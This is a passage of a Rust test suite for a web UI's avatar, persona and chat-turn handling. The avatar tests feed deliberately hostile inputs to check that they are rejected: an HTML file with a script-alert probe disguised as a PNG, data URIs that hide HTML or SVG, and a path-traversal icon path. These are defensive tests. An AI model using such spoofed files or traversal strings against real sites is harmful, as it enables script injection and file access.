14318        for bad in [
14319            "data:image/png;base64,PGh0bWw+".to_owned(),
14320            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14321            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14322        ] {
14323            assert!(save_magi_icon(home.path(), &bad).is_err());
14324            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14325        }
14326        // Re-opened server state reads the same independent home file.
14327        let restarted = Arc::new(Ui::new(
14328            Queue::at(home.path().join("queue")),
14329            Questions::at(home.path().join("questions")),
14330            Talks::at(home.path().join("talks")),
14331            home.path().join("runs"),
14332            home.path().to_path_buf(),
14333            repo,
14334        ));
14335        assert_eq!(
14336            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14337            changed
14338        );
14339        let view = TalkView::with_config(
14340            restarted.talks.get(&id).unwrap(),
14341            false,
14342            None,
14343            &restarted.home,
14344            &restarted.references,
14345        );
14346        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14347        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14348        let response = magi_avatar(
14349            State(ui.clone()),
14350            Query(AvatarQuery {
14351                persona: None,
14352                builtin: None,
14353            }),
14354        )
14355        .await;
14356        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14357            .await
14358            .unwrap();
14359        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14360        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14361        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14362        let _ = magi_icon_delete(State(ui)).await.unwrap();
14363    }
14364
14365    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14366    async fn avatar(
14367        ui: &Arc<Ui>,
14368        id: &str,
14369        persona: Option<&str>,
14370        builtin: bool,
14371    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14372        let res = talk_avatar(
14373            State(Arc::clone(ui)),
14374            Path(id.to_owned()),
14375            Query(AvatarQuery {
14376                persona: persona.map(str::to_owned),
14377                builtin: builtin.then(|| "1".to_owned()),
14378            }),
14379        )
14380        .await
14381        .expect("an avatar is never an error response");
14382        let h = res.headers();
14383        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14384        let nosniff = h
14385            .get(header::X_CONTENT_TYPE_OPTIONS)
14386            .is_some_and(|v| v == "nosniff");
14387        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14388        let status = res.status();
14389        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14390            .await
14391            .expect("body")
14392            .to_vec();
14393        (status, ct, nosniff, csp, body)
14394    }
14395
14396    fn tiny_png() -> Vec<u8> {
14397        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14398        b.extend_from_slice(&[0u8; 32]);
14399        b
14400    }
14401
14402    #[tokio::test]
14403    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14404        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14405        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14406        assert_eq!(res.status(), StatusCode::OK);
14407        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14408        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14409        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14410        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14411        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14412            .await
14413            .unwrap();
14414        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14415        assert_ne!(
14416            persona_icon::operator_svg(),
14417            persona_icon::builtin_svg("default")
14418        );
14419    }
14420
14421    #[tokio::test]
14422    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14423        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14424        for p in [
14425            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14426        ] {
14427            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14428            assert_eq!(status, StatusCode::OK, "{p}");
14429            assert_eq!(ct, "image/svg+xml", "{p}");
14430            assert!(nosniff && csp, "{p}");
14431            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14432        }
14433        // No `persona` means the conversation's own; unknown ones fall back.
14434        let own = avatar(&ui, &id, None, false).await;
14435        let default = avatar(&ui, &id, Some("default"), false).await;
14436        assert_eq!(own.4, default.4);
14437        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14438        assert_eq!(unknown.1, "image/svg+xml");
14439    }
14440
14441    #[tokio::test]
14442    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14443        let dir = TempDir::new().expect("icons");
14444        let good = dir.path().join("good.png");
14445        std::fs::write(&good, tiny_png()).unwrap();
14446        let spoof = dir.path().join("spoof.png");
14447        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14448        let big = dir.path().join("big.png");
14449        let mut bytes = tiny_png();
14450        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14451        std::fs::write(&big, bytes).unwrap();
14452        let missing = dir.path().join("missing.png");
14453        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14454        let extra = format!(
14455            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14456             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14457             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14458             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14459             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14460             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14461            uri(&good),
14462            uri(&spoof),
14463            uri(&big),
14464            uri(&missing),
14465        );
14466        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14467
14468        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14469        assert_eq!(
14470            (status, ct.as_str(), nosniff),
14471            (StatusCode::OK, "image/png", true)
14472        );
14473        assert_eq!(body, tiny_png());
14474        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14475        assert_eq!(ct, "image/png", "data URI");
14476
14477        for p in ["misato", "asuka", "shinji", "magi"] {
14478            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14479            assert_eq!(
14480                (status, ct.as_str(), csp),
14481                (StatusCode::OK, "image/svg+xml", true),
14482                "{p}"
14483            );
14484            assert!(body.starts_with(b"<svg"), "{p}");
14485        }
14486        // The page's own retry skips the icon.
14487        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14488        assert_eq!(ct, "image/svg+xml");
14489    }
14490
14491    #[tokio::test]
14492    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14493        let oversized = format!(
14494            "data:image/png;base64,{}",
14495            "A".repeat(persona_icon::ICON_MAX_BYTES)
14496        );
14497        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14498            let extra = format!(
14499                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14500            );
14501            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14502            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14503                .await
14504                .expect("detail with invalid icon");
14505            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14506            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14507            assert_eq!(status, StatusCode::OK);
14508            assert_eq!(ct, "image/svg+xml");
14509            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14510            let Json(view) = talk_persona(
14511                State(Arc::clone(&ui)),
14512                Path(id.clone()),
14513                Json(TalkPersona {
14514                    persona: "custom".into(),
14515                }),
14516            )
14517            .await
14518            .expect("persona switch with invalid icon");
14519            assert_eq!(view.talk.persona, "custom");
14520            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14521        }
14522    }
14523
14524    #[tokio::test]
14525    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14526        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14527        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14528        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14529        assert_eq!(
14530            (status, ct.as_str(), nosniff, csp),
14531            (StatusCode::OK, "image/svg+xml", true, true)
14532        );
14533    }
14534
14535    #[tokio::test]
14536    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14537        let (_t, _h, ui, id, _repo) =
14538            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14539        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14540            .await
14541            .expect("detail");
14542        let json = serde_json::to_string(&detail).unwrap();
14543        assert!(
14544            !json.contains("secret"),
14545            "the icon setting must not leak: {json}"
14546        );
14547        assert!(
14548            detail
14549                .view
14550                .persona_avatar
14551                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14552        );
14553        assert_eq!(
14554            detail.view.operator_avatar,
14555            format!(
14556                "/avatars/operator.svg?v={}",
14557                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14558            )
14559        );
14560        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14561        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14562        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14563        assert!(rei.avatar.contains("persona=rei&v="));
14564        assert_ne!(
14565            rei.avatar.split("&v=").nth(1),
14566            plain.avatar.split("&v=").nth(1)
14567        );
14568    }
14569
14570    #[tokio::test]
14571    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14572        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14573        let cfg = config_for(&repo).await.unwrap();
14574        for arrived in [false, true] {
14575            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14576            let observed = ui.queued_generation(&id);
14577            let talk = ui.talks.get(&id).unwrap();
14578            if arrived {
14579                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14580            }
14581            let mut settling = std::pin::pin!(settle_settings_turn(
14582                talk,
14583                ui.talks.clone(),
14584                cfg.clone(),
14585                id.clone(),
14586                turn,
14587                observed
14588            ));
14589            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14590            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14591            assert_eq!(first.is_pending(), arrived);
14592            if arrived {
14593                assert!(!settling.await);
14594            }
14595            assert!(!ui.is_thinking(&id));
14596        }
14597    }
14598
14599    #[tokio::test]
14600    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14601        let tmp = TempDir::new().expect("tempdir");
14602        let repo = tmp.path().join("repo");
14603        std::fs::create_dir_all(&repo).expect("repo dir");
14604        std::fs::write(
14605            repo.join("magi.toml"),
14606            format!(
14607                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14608            ),
14609        )
14610        .expect("write magi.toml");
14611        let home = TempDir::new().expect("temp home");
14612        let talks = Talks::at(home.path().join("talks"));
14613        let ui = Arc::new(
14614            Ui::new(
14615                Queue::at(home.path().join("queue")),
14616                Questions::at(home.path().join("questions")),
14617                talks.clone(),
14618                home.path().join("runs"),
14619                home.path().to_path_buf(),
14620                repo.clone(),
14621            )
14622            .with_worktrees_root(home.path().join("wt")),
14623        );
14624        let cfg = config_for(&repo).await.expect("discover config");
14625        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14626        let id = talk.id.clone();
14627        let call = |persona: &str| {
14628            talk_persona(
14629                State(Arc::clone(&ui)),
14630                Path(id.clone()),
14631                Json(TalkPersona {
14632                    persona: persona.to_owned(),
14633                }),
14634            )
14635        };
14636
14637        let unknown = call("nobody").await.expect_err("unknown persona");
14638        assert_eq!(
14639            unknown.status,
14640            StatusCode::BAD_REQUEST,
14641            "{}",
14642            unknown.message
14643        );
14644
14645        {
14646            // Nothing refused so far took a claim, so the guard is free to take
14647            // and holding it is what makes the talk busy.
14648            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14649            let busy = call("rei").await.expect_err("busy talk");
14650            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14651            assert!(
14652                busy.message.contains("a talk turn is running"),
14653                "{}",
14654                busy.message
14655            );
14656            drop(guard);
14657        }
14658        assert_eq!(talks.get(&id).expect("reload").persona, "");
14659
14660        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14661        assert_eq!(view.talk.persona, "gendo");
14662        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14663        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14664        // No intervening I/O or sleep may be needed before another change.
14665        for chosen in ["default", "gendo", "rei", "gendo"] {
14666            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14667            assert!(!view.thinking);
14668            assert!(!ui.is_thinking(&id));
14669        }
14670
14671        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14672            .await
14673            .expect("detail");
14674        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14675        assert_eq!(ids.first(), Some(&"default"));
14676        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14677
14678        let Json(view) = call("default").await.expect("back to default");
14679        assert_eq!(view.talk.persona, "");
14680
14681        let mut closed = talks.get(&id).expect("reload");
14682        talk::close(&mut closed, &talks).expect("close");
14683        let refused = call("rei").await.expect_err("closed talk");
14684        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14685        assert!(
14686            refused.message.contains("takes no more turns"),
14687            "{}",
14688            refused.message
14689        );
14690    }
14691
14692    #[tokio::test]
14693    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14694        let f = Fixture::start().await;
14695        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14696        let queue = f.queue();
14697        let mut mine = Task::new(
14698            "rename the loader".to_owned(),
14699            "rename the loader".to_owned(),
14700            PathBuf::from("/repo/magi"),
14701            Source::Agent {
14702                run: talk_id.clone(),
14703                node: "chat".to_owned(),
14704            },
14705        );
14706        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14707        assert_eq!(empty["task_progress"]["state"], "none");
14708        assert_eq!(empty["task_progress"]["total"], 0);
14709        queue.put(&mut mine).expect("file the task");
14710        let mut theirs = Task::new(
14711            "unrelated".to_owned(),
14712            "unrelated".to_owned(),
14713            PathBuf::from("/repo/magi"),
14714            Source::Human,
14715        );
14716        // A later task linked through origin_chat alone is outside this list.
14717        theirs.origin_chat = Some(talk_id.clone());
14718        queue.put(&mut theirs).expect("file the task");
14719
14720        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14721        assert_eq!(res.status, 200, "{}", res.body);
14722        let body = res.json();
14723        assert_eq!(
14724            body["status"], "open",
14725            "filing a task does not close a talk"
14726        );
14727        let tasks = body["tasks"].as_array().expect("tasks array");
14728        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14729        assert_eq!(tasks[0]["id"], mine.id);
14730        for status in [
14731            TaskStatus::Queued,
14732            TaskStatus::Running,
14733            TaskStatus::Held,
14734            TaskStatus::Failed,
14735            TaskStatus::Blocked,
14736            TaskStatus::Parked,
14737            TaskStatus::Done,
14738            TaskStatus::Queued,
14739        ] {
14740            mine.status = status;
14741            queue.put(&mut mine).expect("update status");
14742            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14743            let progress = &detail["task_progress"];
14744            assert_eq!(progress["total"], 1);
14745            assert_eq!(progress["counts"][status.as_str()], 1);
14746            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14747            assert_eq!(detail["status"], "open", "completion never closes the chat");
14748            if status == TaskStatus::Done {
14749                assert_eq!(progress["state"], "complete");
14750                assert_eq!(progress["done"], 1);
14751                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14752            } else {
14753                assert_eq!(progress["state"], "incomplete");
14754                assert_eq!(progress["done"], 0);
14755                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14756            }
14757        }
14758    }
14759
14760    #[test]
14761    fn talk_task_progress_counts_mixed_statuses() {
14762        let mut tasks: Vec<_> = [
14763            TaskStatus::Queued,
14764            TaskStatus::Running,
14765            TaskStatus::Held,
14766            TaskStatus::Failed,
14767            TaskStatus::Blocked,
14768            TaskStatus::Parked,
14769            TaskStatus::Done,
14770        ]
14771        .into_iter()
14772        .map(|status| {
14773            let mut task = Task::new(
14774                "task".into(),
14775                "task".into(),
14776                PathBuf::from("/repo"),
14777                Source::Human,
14778            );
14779            task.status = status;
14780            task
14781        })
14782        .collect();
14783        let progress = talk_task_progress(&tasks);
14784        assert_eq!(progress.state, "incomplete");
14785        assert_eq!(progress.total, 7);
14786        assert_eq!(progress.done, 1);
14787        assert_eq!(progress.unfinished_ids.len(), 6);
14788        assert!(progress.counts.values().all(|count| *count == 1));
14789        assert_eq!(
14790            progress.unfinished_ids,
14791            tasks[..6]
14792                .iter()
14793                .map(|task| task.id.clone())
14794                .collect::<Vec<_>>()
14795        );
14796
14797        for task in &mut tasks {
14798            task.status = TaskStatus::Done;
14799        }
14800        let complete = talk_task_progress(&tasks);
14801        assert_eq!(complete.state, "complete");
14802        assert_eq!(complete.done, 7);
14803        assert!(complete.unfinished_ids.is_empty());
14804        tasks[0].status = TaskStatus::Queued;
14805        let requeued = talk_task_progress(&tasks);
14806        assert_eq!(requeued.state, "incomplete");
14807        assert_eq!(requeued.done, 6);
14808        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14809
14810        let empty = talk_task_progress(&[]);
14811        assert_eq!(empty.state, "none");
14812        assert_eq!(empty.total, 0);
14813        assert_eq!(empty.done, 0);
14814        assert!(empty.unfinished_ids.is_empty());
14815        assert!(empty.counts.values().all(|count| *count == 0));
14816    }
14817
14818    #[tokio::test]
14819    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14820        let (_tmp, _repo, f) = talk_fixture().await;
14821        let id = f.post("/api/talks", None).await.json()["id"]
14822            .as_str()
14823            .expect("id")
14824            .to_owned();
14825
14826        let res = f
14827            .post(
14828                &format!("/api/talks/{id}/say"),
14829                Some(r#"{"text":"what does the queue module do?"}"#),
14830            )
14831            .await;
14832        assert_eq!(res.status, 202, "{}", res.body);
14833        let queued = res.json();
14834        let turns = queued["turns"].as_array().expect("turns array");
14835        assert_eq!(
14836            turns.len(),
14837            1,
14838            "the answer reflects only what is on disk the instant it is sent, \
14839             before the agent's turn - which can run for the whole of \
14840             `[graph] timeout_talk` - has a chance to land: {queued}"
14841        );
14842        assert_eq!(turns[0]["who"], "operator");
14843        assert_eq!(turns[0]["body"], "what does the queue module do?");
14844        assert_eq!(
14845            queued["thinking"], true,
14846            "the accepted response exposes the background turn claim: {queued}"
14847        );
14848
14849        let mut turns_after = 1;
14850        for _ in 0..SETTLE_STEPS {
14851            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14852            turns_after = detail["turns"].as_array().expect("turns array").len();
14853            if turns_after == 2 {
14854                break;
14855            }
14856            tokio::time::sleep(Duration::from_millis(10)).await;
14857        }
14858        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14859    }
14860
14861    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14862    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14863    /// guards against: `talk::record` used to return, and only *then* did the
14864    /// handler make a second, separate disk round trip before spawning the
14865    /// agent's reply task. A future dropped in that gap left a message
14866    /// recorded on disk with no reply task ever started and no way back short
14867    /// of a fresh message - and the gap was not even the whole story: *any*
14868    /// `.await` in this handler, including the very first one, is a point
14869    /// where a drop can land after the awaited work already finished but
14870    /// before this handler's own code resumes to act on it. `record` now
14871    /// runs inside the task `tokio::spawn` hands to the runtime before this
14872    /// handler ever awaits anything of its own again, so there is nothing
14873    /// left in *this* handler's future for a disconnect to interrupt between
14874    /// the message landing on disk and the reply task starting.
14875    ///
14876    /// A real socket disconnect cannot be relied on to land in the old gap
14877    /// from a test - over loopback, `talk_say` typically finishes before the
14878    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14879    /// same failure mode directly: it drops the task's future at whatever
14880    /// point it has reached, exactly what axum does to the handler future,
14881    /// without needing to win a real network race. Sweeping the delay before
14882    /// aborting samples a range of points the task's execution can be at,
14883    /// including where the old code sat waiting on its second disk round
14884    /// trip - confirmed by reverting this fix locally and watching this same
14885    /// sweep catch a talk stuck with the operator's turn recorded and no
14886    /// reply ever following.
14887    #[tokio::test]
14888    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14889        let tmp = TempDir::new().expect("tempdir");
14890        let repo = tmp.path().join("repo");
14891        std::fs::create_dir_all(&repo).expect("repo dir");
14892        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14893        let home = TempDir::new().expect("temp home");
14894        let talks = Talks::at(home.path().join("talks"));
14895        let ui = Arc::new(
14896            Ui::new(
14897                Queue::at(home.path().join("queue")),
14898                Questions::at(home.path().join("questions")),
14899                talks.clone(),
14900                home.path().join("runs"),
14901                home.path().to_path_buf(),
14902                repo.clone(),
14903            )
14904            .with_worktrees_root(home.path().join("wt")),
14905        );
14906        let cfg = config_for(&repo).await.expect("discover config");
14907
14908        for delay in 0..40u32 {
14909            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14910            let id = talk.id.clone();
14911
14912            let handler = tokio::spawn(talk_say(
14913                State(Arc::clone(&ui)),
14914                Path(id.clone()),
14915                Ok(Json(NewTalkTurn {
14916                    reply_to: None,
14917                    text: "what does the queue module do?".to_owned(),
14918                    attachments: Vec::new(),
14919                })),
14920            ));
14921            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14922            handler.abort();
14923            // Wait out the abort so the next iteration's talk does not race
14924            // this one's still-unwinding turn guard.
14925            let _ = handler.await;
14926
14927            let mut turns = 0;
14928            for _ in 0..SETTLE_STEPS {
14929                if let Ok(fresh) = talks.get(&id) {
14930                    turns = fresh.turns.len();
14931                    if turns != 1 {
14932                        break;
14933                    }
14934                }
14935                tokio::time::sleep(Duration::from_millis(10)).await;
14936            }
14937            assert_ne!(
14938                turns, 1,
14939                "delay {delay}: talk {id} recorded the operator's turn but \
14940                 the agent never answered - the reply task was never \
14941                 started after the handler future was dropped"
14942            );
14943        }
14944    }
14945
14946    /// The same drop, landing on `talk_say`'s other durable write.
14947    ///
14948    /// When a turn is already running, the busy branch persists the
14949    /// operator's text as a queued draft and then reclaims the turn slot if
14950    /// the holder gave it up in the meantime - and whoever reclaims owes that
14951    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14952    /// which finishes whether or not the future awaiting it is still there,
14953    /// so a handler dropped at that `.await` used to leave the draft written
14954    /// to disk with the reclaimed guard dropped unread and no drainer ever
14955    /// started: the message sat queued until some unrelated later `say`
14956    /// happened to pick it up.
14957    ///
14958    /// This used to drive the handler future by hand, polling it a fixed
14959    /// number of times to park it at the `.await` where it asks for the turn
14960    /// and finds it busy, before the reclaim's slot-free case could be set up
14961    /// underneath it. That assumed a fixed number of polls lands at a fixed
14962    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14963    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14964    /// poll, so any number of this handler's several `blocking` awaits can
14965    /// collapse into one poll under load, landing the drive somewhere other
14966    /// than intended - including, occasionally, straight past the handler's
14967    /// own completion, which made polling it again panic with "async fn
14968    /// resumed after completion". No poll count fixes that; the handler's
14969    /// progress simply is not something a caller outside it can observe by
14970    /// counting.
14971    ///
14972    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14973    /// inside the write itself, so the interleaving under test is pinned by
14974    /// an event instead of a guess: the gate fires only once the handler has
14975    /// actually decided `Busy` and is about to persist the draft, and it
14976    /// blocks that write until the test lets it through. Between those two
14977    /// moments the test drains the turn the handler found busy - through
14978    /// `drain_loop`, the protocol's other half - and then aborts the handler
14979    /// task outright, the same way axum drops a disconnected request's
14980    /// future. The write, and the reclaim it may do, run to completion
14981    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14982    /// to the runtime before ever touching the gate, wholly independent of
14983    /// whether the handler that started it is still around - which is what
14984    /// this test is actually checking. A drainer other than that reclaim
14985    /// cannot exist here: the test's own `drain_loop` call happens before the
14986    /// gate opens, so it runs while the queue is still empty and hands the
14987    /// turn straight back rather than draining anything, closing off the
14988    /// possibility of the final assertion passing without the reclaim ever
14989    /// having done its job.
14990    #[tokio::test]
14991    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14992        let tmp = TempDir::new().expect("tempdir");
14993        let repo = tmp.path().join("repo");
14994        std::fs::create_dir_all(&repo).expect("repo dir");
14995        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14996        let home = TempDir::new().expect("temp home");
14997        let talks = Talks::at(home.path().join("talks"));
14998        let ui = Arc::new(
14999            Ui::new(
15000                Queue::at(home.path().join("queue")),
15001                Questions::at(home.path().join("questions")),
15002                talks.clone(),
15003                home.path().join("runs"),
15004                home.path().to_path_buf(),
15005                repo.clone(),
15006            )
15007            .with_worktrees_root(home.path().join("wt")),
15008        );
15009        let cfg = config_for(&repo).await.expect("discover config");
15010
15011        for attempt in 0..3u32 {
15012            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15013            let id = talk.id.clone();
15014            // A turn is already running, which is what sends `talk_say` down
15015            // the busy branch.
15016            let turn_guard = ui
15017                .begin_talk_turn(&id)
15018                .expect("claim the turn")
15019                .expect("a fresh talk owes nobody a turn");
15020
15021            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15022            let (release_tx, release_rx) = std::sync::mpsc::channel();
15023            ui.set_busy_queue_gate(BusyQueueGate {
15024                reached: reached_tx,
15025                release: release_rx,
15026            });
15027
15028            let handler = tokio::spawn(talk_say(
15029                State(Arc::clone(&ui)),
15030                Path(id.clone()),
15031                Ok(Json(NewTalkTurn {
15032                    reply_to: None,
15033                    text: "what does the queue module do?".to_owned(),
15034                    attachments: Vec::new(),
15035                })),
15036            ));
15037
15038            // Wait for the busy branch to actually reach the gate, rather
15039            // than for any fixed number of polls of anything - a bounded
15040            // wait rather than a bare `.await` so a regression that never
15041            // reaches the gate fails the test instead of hanging it.
15042            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15043                .await
15044                .unwrap_or_else(|_| {
15045                    panic!(
15046                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15047                    )
15048                })
15049                .expect("the busy branch dropped the gate without using it");
15050            assert!(
15051                crate::consult::try_publication_guard(&talks, &id)
15052                    .expect("publication fence")
15053                    .is_none(),
15054                "a queued worker cannot promote text before its successor reservation is published"
15055            );
15056
15057            // A listener replacement queues its writer behind this accepted
15058            // mutation. Even disconnecting the HTTP caller must not release
15059            // admission before the write-to-worker handoff has completed.
15060            let closing = Arc::clone(&ui.admissions).write_owned();
15061            tokio::pin!(closing);
15062            std::future::poll_fn(|cx| {
15063                assert!(closing.as_mut().poll(cx).is_pending());
15064                std::task::Poll::Ready(())
15065            })
15066            .await;
15067            assert!(
15068                ui.begin_admission().is_err(),
15069                "replacement blocks later admissions"
15070            );
15071
15072            // The turn that was running now finishes and gives the slot up
15073            // the way a real one does - through `drain_loop`, which finds
15074            // nothing queued yet (the write is still held at the gate) and
15075            // releases. The handler, parked inside `spawn_blocking` on the
15076            // other side of the gate, still believes the talk is busy -
15077            // exactly the interleaving the reclaim exists for.
15078            let running = talks.get(&id).expect("reload talk");
15079            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15080
15081            // Drop the handler future now, the way a reloading phone drops
15082            // it: suspended waiting on the busy branch's answer, having
15083            // itself made no more progress since it handed the write off.
15084            handler.abort();
15085            let _ = handler.await;
15086            std::future::poll_fn(|cx| {
15087                assert!(
15088                    closing.as_mut().poll(cx).is_pending(),
15089                    "HTTP cancellation must not abandon a publishing transaction"
15090                );
15091                std::task::Poll::Ready(())
15092            })
15093            .await;
15094            assert!(
15095                crate::consult::try_publication_guard(&talks, &id)
15096                    .expect("publication fence after disconnect")
15097                    .is_none()
15098            );
15099
15100            // Only now let the gated write proceed. It persists the draft
15101            // and reclaims the now-free slot from inside the task the busy
15102            // branch already spawned - unaffected by the handler's abort
15103            // above, since that task was independent of the handler's own
15104            // future from the moment it was spawned.
15105            let _ = release_tx.send(());
15106            drop(
15107                tokio::time::timeout(Duration::from_secs(5), closing)
15108                    .await
15109                    .expect("short admission transaction should release for replacement"),
15110            );
15111            assert!(
15112                crate::consult::try_publication_guard(&talks, &id)
15113                    .expect("publication fence after acknowledgement")
15114                    .is_some(),
15115                "the publication fence is not retained by the long response"
15116            );
15117
15118            // A settled talk: the draft drained into an operator turn and
15119            // answered.
15120            let mut fresh = talks.get(&id).expect("reload talk");
15121            for _ in 0..SETTLE_STEPS {
15122                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15123                    break;
15124                }
15125                tokio::time::sleep(Duration::from_millis(10)).await;
15126                fresh = talks.get(&id).expect("reload talk");
15127            }
15128            assert!(
15129                fresh.pending.is_empty() && fresh.turns.len() == 2,
15130                "attempt {attempt}: talk {id} left the operator's text queued \
15131                 with no drainer - the reclaimed turn was dropped along with \
15132                 the handler future (pending {:?}, {} turns)",
